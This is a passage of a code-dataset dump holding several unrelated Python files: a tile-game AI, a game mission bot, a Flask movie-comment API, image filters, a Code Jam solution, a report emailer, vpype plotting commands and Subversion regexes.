   \"15\": (12, 10, 8, 6),\n            \"35\": (17, 13, 6, 3),\n            \"54\": (20, 15, 5, 1),\n            \"52\": (14, 11, 7, 5),\n            \"40\": (12, 10, 8, 6),\n            \"20\": (9, 9, 9, 9),\n        }\n\n        self.station_finishers = station_finishers\n\n        self.collisions = 0\n\n        self.gate_to_vector = {\n            1: \"0-1\",\n            2: \"0-1\",\n            3: \"-10\",\n            4: \"-10\",\n            5: \"01\",\n            6: \"01\",\n            7: \"10\",\n            8: \"10\",\n        }\n\n    def vprint(self, txt):\n        if self.verbose:\n            print(txt)\n\n    def discover_state(self, state_key):\n        self.state_values[state_key] = {\"metric\": 150, \"games\": 1}\n\n    def train_station_distance(self, train, station, train_positions=None):\n        if train_positions is None:\n            train_positions = self.train_positions\n        train_position = train_positions[train]\n        if train_position != \"collided\" and train_position[2] != \"s\":\n            s_a, s_b = tools.split_tag(station)\n            t_a, t_b = tools.split_tag(train_position[0:2])\n            dist = abs(s_a - t_a) + abs(s_b - t_b)\n            return dist\n        else:\n            if train_position[2] == \"s\" and train_position[0:2] == station:\n                return 0\n            else:\n                return 99\n\n    def station_distance(self, station, train_positions=None):\n        if train_positions is None:\n            train_positions = self.train_positions\n        dist = min(\n            [\n                self.train_station_distance(train, station, train_positions)\n                for train in [1, 2, 3, 4]\n            ]\n        )\n        return dist\n\n    def get_new_key(self, map_structure=None, train_positions=None, collisions=None):\n        if map_structure is None:\n            map_structure = self.map_structure\n            train_positions = self.train_positions\n            collisions = self.collisions\n        key = str(collisions) + \"-\"\n        cards = 0\n        tag_list = [\n            \"21\",\n            \"31\",\n            \"41\",\n            \"12\",\n            \"22\",\n            \"32\",\n            \"42\",\n            \"13\",\n            \"23\",\n            \"33\",\n            \"43\",\n            \"14\",\n            \"24\",\n            \"34\",\n            \"44\",\n        ]\n        station_list = [\"03\", \"15\", \"35\", \"54\", \"52\", \"40\", \"20\"]\n        for tag in tag_list:\n            if tag in map_structure:\n                key += \"1\"\n                cards += 1\n            else:\n                key += \"0\"\n        key = str(cards) + \"-\" + key + \"-\"\n        for station in station_list:\n            key += str(self.station_distance(station, train_positions))\n        key += \"-\"\n        for station in self.station_ranks:\n            key += str(self.station_ranks[station])\n        return key\n\n    def draw_a_card(self):\n        random.shuffle(self.unused_cards)\n        card_number = self.unused_cards.pop()\n        self.card_in_use = (card_number, tools.rotations(self.cards[card_number]))\n        return card_number\n\n    def update_available_tags(self, tag):\n        a, b = tools.split_tag(tag)\n        used_tags = self.map_structure.keys()\n        new_tags = [(a - 1, b), (a + 1, b), (a, b - 1), (a, b + 1)]\n        for c, d in new_tags:\n            if 1 <= c <= 4:\n                if 1 <= d <= 4:\n                    tag2 = str(c) + str(d)\n                    if tag2 not in used_tags:\n                        if tag2 not in self.available_tags:\n                            self.available_tags.append(tag2)\n        self.available_tags.remove(tag)\n\n    def player_move(self):\n        self.draw_a_card()\n        case_evaluator = CaseEvaluator(self)\n        case_evaluator.pick_best_case()\n        best_case_index = case_evaluator.best_case\n        best_case = case_evaluator.cases[best_case_index]\n        for line in best_case[\"map\"].summary:\n            self.vprint(line)\n        self.map_structure[best_case[\"tag\"]] = (\n            self.card_in_use[0],\n            best_case[\"rotation\"],\n        )\n        self.update_available_tags(best_case[\"tag\"])\n        self.new_stations = deepcopy(best_case[\"map\"].new_stations)\n        self.tracks = deepcopy(best_case[\"map\"].tracks)\n        self.points[0] = best_case[\"map\"].points\n        self.collisions = best_case[\"map\"].collisions\n        self.train_positions = deepcopy(best_case[\"map\"].train_positions)\n        new_key = self.get_new_key()\n        self.move_keys.append(new_key)\n        self.move_values.append(case_evaluator.best_case_value)\n        for station in self.new_stations:\n            if self.player_name not in self.station_finishers[station]:\n                try:\n                    station_points = self.stations[station][self.station_ranks[station]]\n                except IndexError:\n                    station_points = 0\n                self.points[1] += station_points\n                self.vprint(\n                    \"{} reached station {} and got {} points\".format(\n                        self.player_name, station, str(station_points)\n                    )\n                )\n            self.station_finishers[station].append(self.player_name)\n        self.move_scores.append(self.points[0])\n        self.station_scores.append(self.points[1])\n","sub_path":"one_player_map.py","file_name":"one_player_map.py","file_ext":"py","file_size_in_byte":8337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"629242003","text":"import lib.logger as logging\nfrom lib.functions import wait_until\nfrom lib.game.battle_bot import AutoBattleBot\nfrom lib.game.notifications import Notifications\n\nlogger = logging.get_logger(__name__)\n\n\nclass Missions(Notifications):\n    \"\"\"Class for working with mission's methods.\"\"\"\n\n    class _DIFFICULTY_4:\n        STAGE_1 = \"DIFFICULTY_STAGE_1\"\n        STAGE_2 = \"DIFFICULTY_STAGE_2\"\n        STAGE_3 = \"DIFFICULTY_STAGE_3\"\n        STAGE_4 = \"DIFFICULTY_STAGE_2_6\"\n\n    class _DIFFICULTY_6:\n        STAGE_1 = \"DIFFICULTY_STAGE_1\"\n        STAGE_2 = \"DIFFICULTY_STAGE_2\"\n        STAGE_3 = \"DIFFICULTY_STAGE_3\"\n        STAGE_4 = \"DIFFICULTY_STAGE_2_4\"\n        STAGE_5 = \"DIFFICULTY_STAGE_2_5\"\n        STAGE_6 = \"DIFFICULTY_STAGE_2_6\"\n\n    def __init__(self, game, mode_label):\n        \"\"\"Class initialization.\n\n        :param game.Game game: instance of the game.\n        :param string mode_label: mission's game mode label.\n        \"\"\"\n        super().__init__(game)\n        self.mode_name = game.ui[mode_label].text if mode_label else None\n\n    @property\n    def energy_cost(self):\n        \"\"\"Energy cost of the mission.\n\n        :return: energy cost.\n        \"\"\"\n        cost = self.emulator.get_screen_text(self.ui['ENERGY_COST'])\n        return int(cost) if cost.isdigit() else None\n\n    @property\n    def boost_cost(self):\n        \"\"\"Boost points cost of the mission.\n\n        :return: boost points cost.\n        \"\"\"\n        cost = self.emulator.get_screen_text(self.ui['BOOST_COST'])\n        return int(cost) if cost.isdigit() else None\n\n    @property\n    def stages_max(self):\n        \"\"\"Maximum stages of the mission.\"\"\"\n        mode = self.game.get_mode(self.mode_name)\n        if mode:\n            return mode.max_stages\n        return 0\n\n    @property\n    def stages(self):\n        \"\"\"Available stages of the mission.\"\"\"\n        mode = self.game.get_mode(self.mode_name)\n        if mode:\n            return mode.stages\n        return 0\n\n    @stages.setter\n    def stages(self, value):\n        \"\"\"Update available stages value.\"\"\"\n        mode = self.game.get_mode(self.mode_name)\n        if mode:\n            mode.stages = value\n\n    @property\n    def battle_over_conditions(self):\n        def cannot_enter():\n            return self.emulator.is_ui_element_on_screen(self.ui['CANNOT_ENTER'])\n\n        def home_button():\n            if self.emulator.is_image_on_screen(self.ui['HOME_BUTTON']) or \\\n                    self.emulator.is_image_on_screen(self.ui['HOME_BUTTON_POSITION_2']) or \\\n                    self.emulator.is_image_on_screen(self.ui['HOME_BUTTON_POSITION_3']):\n                return True\n\n        return [cannot_enter, home_button, self.close_lvl_up_notification,\n                self.close_stages_done_notification, self.close_items_def_notification, self.close_rank_up_notification,\n                self.close_shield_lvl_up_notification, self.close_recruit_character_notification]\n\n    @property\n    def disconnect_conditions(self):\n        def disconnect():\n            if self.emulator.is_ui_element_on_screen(self.ui['DISCONNECT_FROM_SERVER']):\n                self.emulator.click_button(self.ui['DISCONNECT_FROM_SERVER'].button)\n                return True\n\n        def new_opponent():\n            if self.emulator.is_ui_element_on_screen(self.ui['DISCONNECT_NEW_OPPONENT']):\n                self.emulator.click_button(self.ui['DISCONNECT_NEW_OPPONENT'].button)\n                return True\n\n        def kicked():\n            if self.emulator.is_ui_element_on_screen(self.ui['KICKED_FROM_THE_SYSTEM']):\n                self.emulator.click_button(self.ui['KICKED_FROM_THE_SYSTEM'].button)\n                return True\n\n        return [disconnect, new_opponent, kicked]\n\n    def start_missions(self):\n        \"\"\"Start missions.\"\"\"\n        pass\n\n    def end_missions(self):\n        \"\"\"End missions.\"\"\"\n        self.game.clear_modes()\n        if not self.game.is_main_menu():\n            self.game.emulator.click_button(self.ui['HOME'].button)\n            self.close_after_mission_notifications()\n            self.game.close_ads()\n\n    def do_missions(self, times=None):\n        \"\"\"Do missions.\"\"\"\n        if times:\n            self.stages = times\n        if self.stages > 0:\n            self.start_missions()\n            self.end_missions()\n\n    def select_team(self):\n        \"\"\"Select team for missions.\"\"\"\n        team_element = self.ui[f'SELECT_TEAM_{self.game.mission_team}']\n        logger.debug(f\"Selecting team: {team_element.name}\")\n        self.emulator.click_button(team_element.button)\n\n    def repeat_mission(self, times):\n        \"\"\"Repeat missions.\n\n        :param times: how many times to repeat.\n        \"\"\"\n        for _ in range(times):\n            if not self.press_start_button():\n                logger.error(\"Cannot start missions while repeating them, exiting.\")\n                return\n            AutoBattleBot(self.game, self.battle_over_conditions).fight()\n            self.close_mission_notifications()\n            repeat_button_ui = None\n            if wait_until(self.emulator.is_image_on_screen, timeout=2,\n                          ui_element=self.ui['REPEAT_BUTTON_IMAGE_POSITION_2']):\n                repeat_button_ui = 'REPEAT_BUTTON_IMAGE_POSITION_2'\n            else:\n                if wait_until(self.emulator.is_image_on_screen, timeout=2,\n                              ui_element=self.ui['REPEAT_BUTTON_IMAGE_POSITION_1']):\n                    repeat_button_ui = 'REPEAT_BUTTON_IMAGE_POSITION_1'\n            if repeat_button_ui:\n                self.press_repeat_button(repeat_button_ui)\n\n    def press_start_button(self, start_button_ui='START_BUTTON'):\n        \"\"\"Press start button of the mission.\n\n        :return: was button clicked.\n        \"\"\"\n        if self.emulator.is_ui_element_on_screen(self.ui[start_button_ui]):\n            self.select_team()\n            self.emulator.click_button(self.ui[start_button_ui].button)\n            if wait_until(self.emulator.is_ui_element_on_screen, timeout=2, ui_element=self.ui['NOT_ENOUGH_ENERGY']):\n                self.emulator.click_button(self.ui['NOT_ENOUGH_ENERGY'].button)\n                logger.warning(f\"Not enough energy for starting mission, current energy: {self.game.energy}\")\n                return False\n            if wait_until(self.emulator.is_ui_element_on_screen, timeout=2, ui_element=self.ui['INVENTORY_FULL']):\n                self.emulator.click_button(self.ui['INVENTORY_FULL'].button)\n                logger.warning(\"Your inventory is full, cannot start mission.\")\n                return False\n            if wait_until(self.emulator.is_ui_element_on_screen, timeout=2,\n                          ui_element=self.ui['ITEM_MAX_LIMIT_NOTIFICATION']):\n                self.emulator.click_button(self.ui['ITEM_MAX_LIMIT_NOTIFICATION'].button)\n            return True\n        logger.warning(\"Unable to press START button.\")\n        return False\n\n    def press_repeat_button(self, repeat_button_ui='REPEAT_BUTTON', start_button_ui='START_BUTTON'):\n        \"\"\"Press repeat button of the mission.\"\"\"\n        logger.debug(f\"Clicking REPEAT button with UI Element: {repeat_button_ui}.\")\n        self.emulator.click_button(self.ui[repeat_button_ui].button)\n        while not self.emulator.is_ui_element_on_screen(ui_element=self.ui[start_button_ui]):\n            self.close_after_mission_notifications(timeout=1)\n        return True\n\n    def press_home_button(self, home_button='HOME_BUTTON'):\n        \"\"\"Press home button of the mission.\"\"\"\n        logger.debug(f\"Clicking HOME button with UI Element: {home_button}.\")\n        self.emulator.click_button(self.ui[home_button].button)\n        while not self.game.is_main_menu():\n            self.close_after_mission_notifications(timeout=1)\n        return True\n\n    def is_stage_startable(self):\n        \"\"\"Check if you can start stage safely.\n\n        :return: True or False.\n        \"\"\"\n        return bool(self.boost_cost)\n","sub_path":"lib/game/missions/missions.py","file_name":"missions.py","file_ext":"py","file_size_in_byte":7911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"251439148","text":"#!/usr/bin/env python3\n# -*- coding=utf-8 -*-\n# 本脚由亁颐堂现任明教教主编写，用于乾颐盾Python课程！\n# 教主QQ:605658506\n# 亁颐堂官网www.qytang.com\n# 教主技术进化论拓展你的技术新边疆\n# https://ke.qq.com/course/271956?tuin=24199d8a\n\nimport requests\n\n# 主动抛出异常,然后用except捕获\ntry:\n    r = requests.get('http://www.qytang.com/%qytang')\n    r.raise_for_status()\nexcept requests.exceptions.HTTPError as e:\n    print(e)\n\n# 产生超时异常,捕获并且打印信息\ntry:\n    r = requests.get('http://www.qytang.com', timeout=0.001)\nexcept requests.exceptions.ConnectTimeout:\n    print('请求超时')\n\n\n\n\n","sub_path":"Python_Network_2018_HTTP/1_Requests/6_2_exception.py","file_name":"6_2_exception.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"599676840","text":"from flask import Flask, request, jsonify, send_from_directory, session,  make_response\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\nfrom flask_cors import CORS\nimport uuid\nfrom werkzeug.utils import secure_filename\nimport os\nfrom sqlalchemy import desc\nimport json\nfrom functools import wraps\nimport jwt\nimport datetime\n\n\napp = Flask(__name__)\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nUPLOAD_FOLDER = os.path.join(basedir,'uploads')\nALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'csv'}\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'db.sqlite')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['SECRET_KEY'] = 'MyRandomSecretKeyForDemoApp'\n\n\ncors = CORS(app)\ndb = SQLAlchemy(app)\n\nif not os.path.exists(os.path.join(basedir, 'db.sqlite')):\n\tdb.create_all()\n\tprint('Created new databse: db.sqlite')\n\nma= Marshmallow(app)\n\n# @app.route('/', methods=['GET'])\n# def get():\n# \treturn jsonify({'msg': 'hello world!'})\n\n\n# title: response.data.Title,\n# year: response.data.Year,\n# writer: response.data.Writer,\n# director: response.data.Director,\n# poster: response.data.Poster,\n# ratings: response.data.Ratings,\n# type: response.data.Type,\n# imdbID: response.data.imdbID,\n\n\nclass Product(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\ttitle = db.Column(db.String(100), unique=True)\n\tyear = db.Column(db.String(200))\n\twriter = db.Column(db.String(200))\n\tdirector = db.Column(db.String(200))\n\tposter = db.Column(db.String(2000))\n\ttype_of = db.Column(db.String(200))\n\timdb_id = db.Column(db.String(200))\n\tcomments = db.relationship('Comment', backref='product', lazy=False)\n\n\tdef __init__(self, title, year, writer, director, poster, type_of, imdb_id):\n\t\tself.title = title\n\t\tself.year = year\n\t\tself.writer = writer\n\t\tself.director = director\n\t\tself.poster = poster\n\t\tself.type_of = type_of\n\t\tself.imdb_id = imdb_id\n\t\t\n\n\tdef __repr__(self):\n\t\treturn \"Product, id: %s, Name: %s \" % (self.id, self.title)\n\nclass Comment(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\tcontent = db.Column(db.String(120))\n\tproduct_id = db.Column(db.Integer, db.ForeignKey('product.id'),\n\t\tnullable=False)\n\tposted_by = db.Column(db.Integer)\n\n\tdef __init__(self,content,product_id, posted_by):\n\t\tself.content = content\n\t\tself.product_id = product_id\n\t\tself.posted_by = posted_by\n\n\tdef to_json(self):\n  \t\treturn {\"id\": self.id, \"content\": self.content, \"product_id\": self.product_id}\n\n\n\nclass CommentSchema(ma.Schema):\n\tclass Meta:\n\t\t  fields = ('id', 'content', 'product_id', 'posted_by')\n\nclass ProductSchema(ma.Schema):\n  \tclass Meta:\n\t\t  fields = ('id','title', 'year', 'writer', 'director', 'poster', 'type_of', 'imdb_id', 'comments')\n\t\n\n\nproduct_schema = ProductSchema()\nproducts_schema = ProductSchema(many=True)\n\ncomment_schema = CommentSchema()\ncomments_schema = CommentSchema(many=True)\n\n\n\n\n@app.route('/product', methods=['POST'])\ndef add_product():\n\tprint(request.json)\n\n\ttitle = request.json.get('title')\n\tyear = request.json.get('year')\n\twriter = request.json.get('writer')\n\tdirector = request.json.get('director')\n\tposter = request.json.get('poster')\n\ttype_of = request.json.get('type_of')\n\timdb_id = request.json.get('imdbID')\n\n\tnew_product = Product(title, year, writer, director, poster, type_of, imdb_id)\n\n\tdb.session.add(new_product)\n\tdb.session.commit()\n\n\t#==== toDo changed\n\t# all_products = Product.query.order_by(desc(Product.id)).all()\n\t# result = products_schema.dump(all_products)\n\t#toDo changed\n\n\treturn product_schema.jsonify(new_product)\n\t# return jsonify(result)\n\n@app.route('/product', methods=['GET'])\n# @check_for_token\ndef get_products():\n\tall_products = Product.query.order_by(desc(Product.id)).all()\n\tresult = products_schema.dump(all_products)\n\tprint('----')\n\tprint(result)\n\tprint('-----')\n\t\n\tfor item in result:\n\t\tif item.get('comments'):\n\t\t\titem['comments'] = comments_schema.dump(item['comments'])\n\n\treturn products_schema.jsonify(result)\n\n\n@app.route('/product/<string:id>', methods=['GET'])\ndef get_product(id):\n\tproduct = Product.query.get(id)\n\tresult = product_schema.dump(product)\n\tresult['comments'] = comments_schema.dump(result['comments'])\n\treturn product_schema.jsonify(result)\n\n\n\n\n\n\n#========================= Comment ===============================\n@app.route('/comment', methods=['GET'])\ndef get_comments():\n\tall_comments = Comment.query.order_by(desc(Comment.id)).all()\n\tresult = comments_schema.dump(all_comments)\n\treturn jsonify(result)\n\n@app.route('/comment', methods=['POST'])\ndef add_comment():\n\n\tcontent = request.json.get('content')\n\tproduct_id=request.json.get('product_id')\n\tposted_by = request.json.get('posted_by')\n\t\n\tnew_comment = Comment(content=content, product_id=product_id, posted_by=posted_by)\n\n\tdb.session.add(new_comment)\n\tdb.session.commit()\n\n\t#==== toDo changed\n\t# all_comments = Comment.query.order_by(desc(Comment.id)).all()\n\t# result = comments_schema.dump(all_comments)\n\t#toDo changed\n\n\treturn comment_schema.jsonify(new_comment)\n\t# return jsonify(result)\nif __name__ == '__main__':\n\tapp.run(debug=True)\n\n\n","sub_path":"flask_api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"119073071","text":"import CU_media\r\n\r\ndef negative(pic):\r\n    for px in CU_media.get_pixels(pic):\r\n        px.set_red(255 - px.get_red())\r\n        px.set_green(255 - px.get_green())\r\n        px.set_blue(255 - px.get_blue())\r\n        \r\ndef grayscale(pic):\r\n    for px in CU_media.get_pixels(pic):\r\n        val = 0\r\n        val += px.get_red()\r\n        val += px.get_green()\r\n        val += px.get_blue()\r\n        val = val*1.0/3.\r\n        px.set_red(val)\r\n        px.set_green(val)\r\n        px.set_blue(val)\r\n        \r\n        \r\n#Nate Testing Code        \r\ndef start():\r\n    global pic\r\n    pic = CU_media.load_picture(CU_media.choose_file())\r\n\r\ndef write():\r\n    global pic\r\n    filename = raw_input(\"filename\")\r\n    CU_media.write_picture_to(pic, filename)\r\n    \r\ndef show():\r\n    global pic\r\n    CU_media.show_external(pic)\r\n\r\npic = -1\r\nstart()\r\n# end Nate","sub_path":"School.Old/SYSC/Lab 4/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"302276808","text":"import logging\nfrom typing import List, Union\n\nimport click\nimport numpy as np\n\nfrom vpype import (\n    LayerType,\n    LengthType,\n    LineCollection,\n    LineIndex,\n    VectorData,\n    global_processor,\n    layer_processor,\n    multiple_to_layer_ids,\n)\n\nfrom .cli import cli\n\n\n@cli.command(group=\"Operations\")\n@click.argument(\"x\", type=LengthType(), required=True)\n@click.argument(\"y\", type=LengthType(), required=True)\n@click.argument(\"width\", type=LengthType(), required=True)\n@click.argument(\"height\", type=LengthType(), required=True)\n@layer_processor\ndef crop(lines: LineCollection, x: float, y: float, width: float, height: float):\n    \"\"\"Crop the geometries.\n\n    The crop area is defined by the (X, Y) top-left corner and the WIDTH and HEIGHT arguments.\n    All arguments understand supported units.\n    \"\"\"\n\n    lines.crop(x, y, x + width, y + height)\n    return lines\n\n\n@cli.command(group=\"Operations\")\n@click.argument(\"margin_x\", type=LengthType(), required=True)\n@click.argument(\"margin_y\", type=LengthType(), required=True)\n@click.option(\n    \"-l\",\n    \"--layer\",\n    type=LayerType(accept_multiple=True),\n    default=\"all\",\n    help=\"Target layer(s).\",\n)\n@global_processor\ndef trim(\n    vector_data: VectorData, margin_x: float, margin_y: float, layer: Union[int, List[int]]\n) -> VectorData:\n    \"\"\"Trim the geometries by some margin.\n\n    This command trims the geometries by the provided X and Y margins with respect to the\n    current bounding box.\n\n    By default, `trim` acts on all layers. If one or more layer IDs are provided with the\n    `--layer` option, only these layers will be affected. In this case, the bounding box is\n    that of the listed layers.\n    \"\"\"\n\n    layer_ids = multiple_to_layer_ids(layer, vector_data)\n    bounds = vector_data.bounds(layer_ids)\n\n    if not bounds:\n        return vector_data\n\n    min_x = bounds[0] + margin_x\n    max_x = bounds[2] - margin_x\n    min_y = bounds[1] + margin_y\n    max_y = bounds[3] - margin_y\n    if min_x > max_x:\n        min_x = max_x = 0.5 * (min_x + max_x)\n    if min_y > max_y:\n        min_y = max_y = 0.5 * (min_y + max_y)\n\n    for vid in layer_ids:\n        lc = vector_data[vid]\n        lc.crop(min_x, min_y, max_x, max_y)\n\n    return vector_data\n\n\n@cli.command(group=\"Operations\")\n@click.option(\n    \"-t\",\n    \"--tolerance\",\n    type=LengthType(),\n    default=\"0.05mm\",\n    help=\"Maximum distance between two line endings that should be merged.\",\n)\n@click.option(\n    \"-f\", \"--no-flip\", is_flag=True, help=\"Disable reversing stroke direction for merging.\"\n)\n@layer_processor\ndef linemerge(lines: LineCollection, tolerance: float, no_flip: bool = True):\n    \"\"\"\n    Merge lines whose endings overlap or are very close.\n\n    Stroke direction is preserved by default, so `linemerge` looks at joining a line's end with\n    another line's start. With the `--flip` stroke direction will be reversed as required to\n    further the merge.\n\n    By default, gaps of maximum 0.05mm are considered for merging. This can be controlled with\n    the `--tolerance` option.\n    \"\"\"\n\n    lines.merge(tolerance=tolerance, flip=not no_flip)\n    return lines\n\n\n@cli.command(group=\"Operations\")\n@click.option(\n    \"-f\",\n    \"--no-flip\",\n    is_flag=True,\n    help=\"Disable reversing stroke direction for optimization.\",\n)\n@layer_processor\ndef linesort(lines: LineCollection, no_flip: bool = True):\n    \"\"\"\n    Sort lines to minimize the pen-up travel distance.\n\n    Note: this process can be lengthy depending on the total number of line. Consider using\n    `linemerge` before `linesort` to reduce the total number of line and thus significantly\n    optimizing the overall plotting time.\n    \"\"\"\n    if len(lines) < 2:\n        return lines\n\n    index = LineIndex(lines[1:], reverse=not no_flip)\n    new_lines = LineCollection([lines[0]])\n\n    while len(index) > 0:\n        idx, reverse = index.find_nearest(new_lines[-1][-1])\n        line = index.pop(idx)\n        if reverse:\n            line = np.flip(line)\n        new_lines.append(line)\n\n    logging.info(\n        f\"optimize: reduced pen-up (distance, mean, median) from {lines.pen_up_length()} to \"\n        f\"{new_lines.pen_up_length()}\"\n    )\n\n    return new_lines\n\n\n@cli.command(group=\"Operations\")\n@click.option(\n    \"-t\",\n    \"--tolerance\",\n    type=LengthType(),\n    default=\"0.05mm\",\n    help=\"Controls how far from the original geometry simplified points may lie.\",\n)\n@layer_processor\ndef linesimplify(lines: LineCollection, tolerance):\n    \"\"\"\n    Reduce the number of segments in the geometries.\n\n    The resulting geometries' points will be at a maximum distance from the original controlled\n    by the `--tolerance` parameter (0.05mm by default).\n    \"\"\"\n    if len(lines) < 2:\n        return lines\n\n    # Note: preserve_topology must be False, otherwise non-simple (ie intersecting) MLS will\n    # not be simplified (see https://github.com/Toblerity/Shapely/issues/911)\n    mls = lines.as_mls().simplify(tolerance=tolerance, preserve_topology=False)\n    new_lines = LineCollection(mls)\n\n    logging.info(\n        f\"simplify: reduced segment count from {lines.segment_count()} to \"\n        f\"{new_lines.segment_count()}\"\n    )\n\n    return new_lines\n\n\n@cli.command(group=\"Operations\")\n@click.option(\n    \"-t\",\n    \"--tolerance\",\n    type=LengthType(),\n    default=\"0.05mm\",\n    help=\"Controls how close the path beginning and end must be to consider it closed (\"\n    \"default: 0.05mm).\",\n)\n@layer_processor\ndef reloop(lines: LineCollection, tolerance):\n    \"\"\"Randomize the seam location of closed paths.\n\n    When plotted, closed path may exhibit a visible mark at the seam, i.e. the location where\n    the pen begins and ends the stroke. This command randomizes the seam location in order to\n    help reduce visual effect of this in plots with regular patterns.\n\n    Paths are considered closed when their beginning and end points are closer than some\n    tolerance, which can be set with the `--tolerance` option.\n    \"\"\"\n\n    lines.reloop(tolerance=tolerance)\n    return lines\n\n\n@cli.command(group=\"Operations\")\n@click.option(\n    \"-n\", \"--count\", type=int, default=2, help=\"How many pass for each line (default: 2).\",\n)\n@layer_processor\ndef multipass(lines: LineCollection, count: int):\n    \"\"\"\n    Add multiple passes to each line\n\n    Each line is extended with a mirrored copy of itself, optionally multiple times. This is\n    useful for pens that need several passes to ensure a good quality.\n    \"\"\"\n    if count < 2:\n        return lines\n\n    new_lines = LineCollection()\n    for line in lines:\n        new_lines.append(\n            np.hstack(\n                [line] + [line[-2::-1] if i % 2 == 0 else line[1:] for i in range(count - 1)]\n            )\n        )\n\n    return new_lines\n\n\n@cli.command(group=\"Operations\")\n@layer_processor\ndef splitall(lines: LineCollection) -> LineCollection:\n    \"\"\"\n    Split all paths into their constituent segments.\n\n    This command may be used together with `linemerge` for cases such as densely-connected\n    meshes where the latter cannot optimize well enough by itself.\n\n    Note that since some paths (especially curved ones) can be made of a large number of\n    segments, this command may significantly increase the processing time of the pipeline.\n    \"\"\"\n\n    new_lines = LineCollection()\n    for line in lines:\n        new_lines.extend([line[i : i + 2] for i in range(len(line) - 1)])\n    return new_lines\n","sub_path":"vpype_cli/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":7391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"967918","text":"class Counter:\r\n\r\n    def __init__(self, filename):\r\n        file = open(filename, \"r\")\r\n        lines = file.readlines()\r\n        num_inputs = int(lines[0])\r\n        outfile = open(filename + \"_out\", \"w\")\r\n        for line_index in range(num_inputs):\r\n            start = int(lines[line_index+1])\r\n            result = Counter.count_sheep(start)\r\n            output = \"Case #\" + str(line_index+1) + \": \" + str(result)\r\n            outfile.write(output + \"\\n\")\r\n\r\n    @staticmethod\r\n    def count_sheep(start):\r\n        if start == 0:\r\n            return \"INSOMNIA\"\r\n        else:\r\n            digits = [False] * 10\r\n            i = 1\r\n            while True:\r\n                n = start * i\r\n                i += 1\r\n                n_string = str(n)\r\n                for digit in n_string:\r\n                    digits[int(digit)] = True\r\n                if digits.count(False) == 0:\r\n                    return n\r\n\r\n\r\nif __name__ == '__main__':\r\n    count = Counter(\"A-large.in\")","sub_path":"codes/CodeJamCrawler/16_0_1/pypmannetjies/Counter.py","file_name":"Counter.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"524085253","text":"\"\"\"\nModuł startowy programu\n\"\"\"\nimport os\nimport datetime\n\nfrom config import Config\nfrom tres import Tres\nfrom excel import Excel\nfrom mail import Email\n\n\ndef main():\n    # utworzenie obiektu z danymi konfiguracyjnymi programu\n    cfg = Config()\n\n    # opróżnienie katalogu z poprzednimi raportami\n    os.chdir(cfg.results())\n    os.system('rm *')\n\n    # utworzenie obiektów: danych żródłowych, raportów, modułu wysyłania poczty\n    t = Tres(cfg.tres_path())\n    exl = Excel()\n    eml = Email(cfg.email_box())\n\n    # wysyłanie e-maili z raportami\n    if t.is_sale():\n        filename = exl.sale(t.sale())\n        eml.send(cfg.email_address()['sale'], 'Raport dzienny sprzedaży', filename)\n        print('{:%H:%M:%S}'.format(datetime.datetime.now()), end='  ')\n        print('wysłano raport sprzedaży:  ',  filename)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"daily-report.py","file_name":"daily-report.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"595176275","text":"# -*- coding: utf-8 -*-\nimport re\n\nif __name__ == \"__main__\":\n    print(\"[FAIL] This script cannot be run directly.\")\n\nrevision_old = re.compile(\n    \"-r\\s?\\d+\"                  # -r[ ]XXX\n)\n\nnumber_decimal = re.compile(\n    \"\\d+\"                       #d[d...]\n)\n\nurl_common = re.compile(\n    \"http(s)?://\"               # \"https://\" or http://\n    \"(/?((\\w|%|-|\\.)+\\.?)+)+\"   # server[.folder[.folder[...]]]/[...]\n)\n\nurl_subversion = re.compile(\n    \"((http(s)?://)|(\\^/))\"     # \"https://\" or http:// or \"^/\"\n    \"(/?((\\w|%|#|-|\\.)+\\.?)+)+\"   # server[.folder[.folder[...]]]/[...]\n)\n\nrevision_new = re.compile(\n    \"@\\d+\"                      # @XXX\n)\n\npath_relative = re.compile(\n    \"(/?((\\w|#|-)+\\.?)+)+\"        # folder/folder\n)\n\nleading_space = re.compile(\n    \"^\\s+\"                      #a space(s) in the beginning of the string\n)\n\npath_absolute = \\\n    re.compile(\n        \"(([A-Za-z]:)|(~))?(((\\\\\\\\)|(/))[\\w.]*)*((\\\\\\\\)|(/))?\"  # \"[d:]<\\|/><dir name><\\|/><dir name>[\\|/]\"\n    )\n\nsubversion_external_property_item = re.compile(\n        \"(^\\s*)?\"\n        \"(-r\\s\\d+\\s)?\"  # -r 122\n        \"((http(s)?://)|(\\^/))\"  # \"https://\" or \"^/\"\n        \"(/?((\\w|%|#|-)+\\.?)+)+\"  # server.com/folder.f/folder\n        \"(@\\d+)?\"  # @122\n        \"\\s\"  # space\n        \"(/?((\\w|#|-)+\\.?)+)+\"  # folder/folder\n    )\n\nsubversion_folder_property_report_header = re.compile(\n        \"Properties on \\'\"\n        \"((http(s)?://)|(\\^/))\"  # \"https://\" or \"^/\"\n        